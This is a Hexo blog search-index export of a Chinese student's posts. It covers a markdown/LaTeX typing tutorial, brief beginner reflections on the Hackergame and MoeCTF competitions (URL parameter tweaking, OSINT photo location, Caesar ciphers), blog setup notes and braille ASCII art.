class="mord mathnormal" style="margin-right:0.03588em;">ω</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.274008em;"><span class="pstrut" style="height:3.044008em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.789828em;"><span class="pstrut" style="height:3.044008em;"></span><span class="mord"><span class="mop"><span class="mop op-symbol small-op" style="margin-right:0.19445em;position:relative;top:-0.0005599999999999772em;">∫</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0440079999999998em;"><span style="top:-2.34418em;margin-left:-0.19445em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span><span style="top:-3.2579000000000002em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05278em;">β</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.35582em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal">t</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord text"><span class="mord">d</span></span><span class="mord mathnormal">t</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:1.170941em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="tag"><span class="strut" style="height:2.960769em;vertical-align:-1.170941em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">2</span></span><span class="mord">)</span></span></span></span></span></span></p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><munder><mo><mi>lim</mi><mo></mo></mo><mrow><mi>x</mi><mo>→</mo><mi mathvariant="normal">∞</mi></mrow></munder><mfrac><mrow><mi>s</mi><mi>i</mi><mi>n</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><mi>x</mi></mfrac><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\lim_{x \to \infin}\frac{sin(t)}{x}=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.127em;vertical-align:-0.7em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.69444em;"><span style="top:-2.4em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="mrel mtight">→</span><span class="mord mtight">∞</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">lim</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.7em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal">n</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></span></p><p>ctrl+m<br />在一段文字中也可以插入 $ \lim_{x \to \infin}\frac{sin(t)}{x}=1$ 公式</p><p>ctrl+m*2生成Latex单独一行</p><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow></mrow><annotation encoding="application/x-tex"></annotation></semantics></math></span><span class="katex-html" aria-hidden="true"></span></span></span></p><h2 id="表格">表格</h2><p>中间加上竖线来表示某一列|比如</p><!--第一行是表头--><table><thead><tr><th style="text-align:right">1</th><th style="text-align:left">2</th><th style="text-align:center">3</th><th>4</th></tr></thead><tbody><tr><td style="text-align:right">我</td><td style="text-align:left">你</td><td style="text-align:center">他</td><td>我们</td></tr><tr><td style="text-align:right">新内容</td><td style="text-align:left">自动</td><td style="text-align:center">?</td><td>?</td></tr><tr><td style="text-align:right">靠右对齐</td><td style="text-align:left">靠左对齐</td><td style="text-align:center">居中对齐</td><td>自动</td></tr></tbody></table><p>alt+shift+f格式化表格</p><table><thead><tr><th>1</th><th>2</th><th>3</th></tr></thead><tbody><tr><td>></td><td>2</td><td>3</td></tr></tbody></table><h2 id="链接">链接</h2><p>这是一个<a href="https://www.bilibili.com/video/BV1GJ411x7h7/?spm_id_from=333.337.search-card.all.click">链接</a></p><p>markdown all in one快捷<a href="https://www.bilibili.com/video/BV1GJ411x7h7/?spm_id_from=333.337.search-card.all.click">操作</a><br />复制链接,选中文本,然后ctrl+v</p><h2 id="code">code</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> cout<<"hello markdown"<<endl;</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line">using namespace std; </span><br><span class="line"></span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> cout<<"hello markdown"<<endl;</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> markdown </tag>
</tags>
</entry>
<entry>
<title>why_can't</title>
<link href="/2022/12/15/why-can-t/"/>
<url>/2022/12/15/why-can-t/</url>
<content type="html"><![CDATA[<p>why can’t i update?</p>]]></content>
</entry>
<entry>
<title>About_Hackergame</title>
<link href="/2022/11/02/About-Hackergame/"/>
<url>/2022/11/02/About-Hackergame/</url>
<content type="html"><![CDATA[<p>又是一次心血来潮。要说当时风声呼啸,我眉头紧缩,紧盯着电脑屏幕,大脑疯狂运转,只为完成英语Presentation。<br />这时,同学对Hackergame的讨论传来,于是我心想:英语展示还有3周准备时间,不如休息休息,打打Hackergame…结果一点也算不上休息。</p><h1 id="纯新手啥也不会系列">纯新手啥也不会系列</h1><h2 id="首先是签到题">首先是签到题</h2><p>说实话,一开始我真的想把2022写出来,原因是第三个框我已经能熟练骗出2,最后一个也写出过5和7<br />忽然,在我尝试多次后,无意间瞟到地址栏的a=2027,于是心生一计,然后成功了。</p><h2 id="然后是猫咪问答什么都不会只能按顺序">然后是猫咪问答(什么都不会,只能按顺序)</h2><p>结果是只写出来三道,都是找日期的题。<br />有两个太简单了不说了,最后一个关于网费的题我觉得很有意思,下面细说:</p><p>题目要求是一开始改为20元每月的日期,直接搜索后找到一篇调整通知。<br />但是,通知中的新旧政策都是20元,说明还要找到更老的调整通知,在中科大官网中找到一篇的2003年的通知,至此本题结束。</p><h2 id="heilang">HeiLang</h2><p>直说没做出来。<br />推测要求是对数组进行正确赋值,然后没了。</p><h2 id="旅行照片">旅行照片</h2><p>没做完,但是非常刺激。<br />第一题图片信息不说了。<br />第二题下面细说:<br />首先猜测面前的圆形体育场为标志性建筑,直接百度搜索无果。<br />放大后发现一个标志和一段标语“WECOME TO ZOZO?A?M? STADIUM”,搜索找到日本千叶海洋球场。<br />看地图找附近的酒馆找到邮政编码。<br />手机分辨率是从反光的摄像头样式找出来的。<br />飞机确实没找到,看题解后发现自己没精确到秒,而且也没有找到合适的历史航线查找工具。</p><h1 id="总结">总结</h1><p>我终究是菜的qwq,希望能有以后吧</p>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>About_MoeCTF</title>
<link href="/2022/11/02/About-MoeCTF/"/>
<url>/2022/11/02/About-MoeCTF/</url>
<content type="html"><![CDATA[<p>确实是刚接触,也做不出什么题。</p><h2 id="忘了名字总之是关于字母歌">(忘了名字,总之是关于字母歌)</h2><p>要点是字母表倒着写</p><h2 id="小小凯撒">小小凯撒</h2><p>凯撒密码的简单应用,爆破就行。</p><h2 id="凯撒变异了">凯撒变异了</h2><h3 id="114514笑">114514(笑)</h3><p>有两个要点,一个是按照114514向前对应字母;还有一个是26个小写和大写字母排在一起进行对应(大概是?)</p><h4 id="凭记忆大概就是这些">凭记忆大概就是这些</h4>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>First_of_all</title>
<link href="/2022/11/02/First_of_all/"/>
<url>/2022/11/02/First_of_all/</url>
<content type="html"><![CDATA[<p>简单的说就是各种机缘巧合。机缘巧合来了山大网安,机缘巧合打了MoeCTF,真有意思!<br />创建博客也很有意思,跟着B站的教程出了许多问题。<br />红底醒目的FATAL,结果细看是yml文件里少了两个冒号;<br />git要我输令牌,还不能CTRL c+v(感谢郑神让我认识到VScode的强大);<br />网络也出了好多好多好多(恼)问题(属于玄学)…<br />总之Blog是搭好了。</p><h2 id="该记录些东西了">该记录些东西了</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">⣿⣿⣿⣿⣿⣿⢟⣡⣴⣶⣶⣦⣌⡛⠟⣋⣩⣬⣭⣭⡛⢿⣿⣿⣿⣿</span><br><span class="line">⣿⣿⣿⣿⠋⢰⣿⣿⠿⣛⣛⣙⣛⠻⢆⢻⣿⠿⠿⠿⣿⡄⠻⣿⣿⣿ </span><br><span class="line">⣿⣿⣿⠃⢠⣿⣿⣶⣿⣿⡿⠿⢟⣛⣒⠐⠲⣶⡶⠿⠶⠶⠦⠄⠙⢿ </span><br><span class="line">⣿⠋⣠⠄⣿⣿⣿⠟⡛⢅⣠⡵⡐⠲⣶⣶⣥⡠⣤⣵⠆⠄⠰⣦⣤⡀ </span><br><span class="line">⠇⣰⣿⣼⣿⣿⣧⣤⡸⢿⣿⡀⠂⠁⣸⣿⣿⣿⣿⣇⠄⠈⢀⣿⣿⠿ </span><br><span class="line">⣰⣿⣿⣿⣿⣿⣿⣿⣷⣤⣈⣙⠶⢾⠭⢉⣁⣴⢯⣭⣵⣶⠾⠓⢀⣴</span><br><span class="line">⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣉⣤⣴⣾⣿⣿⣦⣄⣤⣤⣄⠄⢿⣿</span><br><span class="line">⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠈⢿</span><br><span class="line">⣿⣿⣿⣿⣿⣿⡟⣰⣞⣛⡒⢒⠤⠦⢬⣉⣉⣉⣉⣉⣉⣉⡥⠴⠂⢸</span><br><span class="line">⠻⣿⣿⣿⣿⣏⠻⢌⣉⣉⣩⣉⡛⣛⠒⠶⠶⠶⠶⠶⠶⠶⠶⠂⣸⣿</span><br><span class="line">⣥⣈⠙⡻⠿⠿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⠿⠛⢉⣠⣶⣶⣿⣿</span><br></pre></td></tr></table></figure><h3 id="前面的区域以后再来探索吧">前面的区域以后再来探索吧!</h3><p>没东西了,<a href="https://www.bilibili.com/video/BV1GJ411x7h7/?spm_id_from=333.337.search-card.all.click">真的</a></p>]]></content>
<tags>
<tag> test </tag>
</tags>
</entry>
<entry>
<title>Test</title>
<link href="/2022/11/01/Test/"/>
<url>/2022/11/01/Test/</url>
<content type="html"><![CDATA[<pre><code>22年11月1日22:09首次创建文稿,心情略有忐忑。</code></pre><h4 id="那个男人镇楼">那个男人镇楼</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">⠄⠄⠄⠄⠄⠄⢴⡶⣶⣶⣶⡒⣶⣶⣖⠢⡄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⢠⣿⣋⣿⣿⣉⣿⣿⣯⣧⡰⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⣿⣿⣹⣿⣿⣏⣿⣿⡗⣿⣿⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⠟⡛⣉⣭⣭⣭⠌⠛⡻⢿⣿⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⠄⠄⣤⡌⣿⣷⣯⣭⣿⡆⣈⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣿⣿⣿⣿⣷⢛⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⠄⠄⢻⣷⣽⣿⣿⣿⢿⠃⣼⣧⣀⠄⠄⠄⠄⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⣛⣻⣿⠟⣀⡜⣻⢿⣿⣿⣶⣤⡀⠄⠄⠄⠄⠄ </span><br><span class="line">⠄⠄⠄⠄⠄⠄⠄⠄⢠⣤⣀⣨⣥⣾⢟⣧⣿⠸⣿⣿⣿⣿⣿⣤⡀⠄⠄⠄</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> test </tag>
</tags>
</entry>
</search>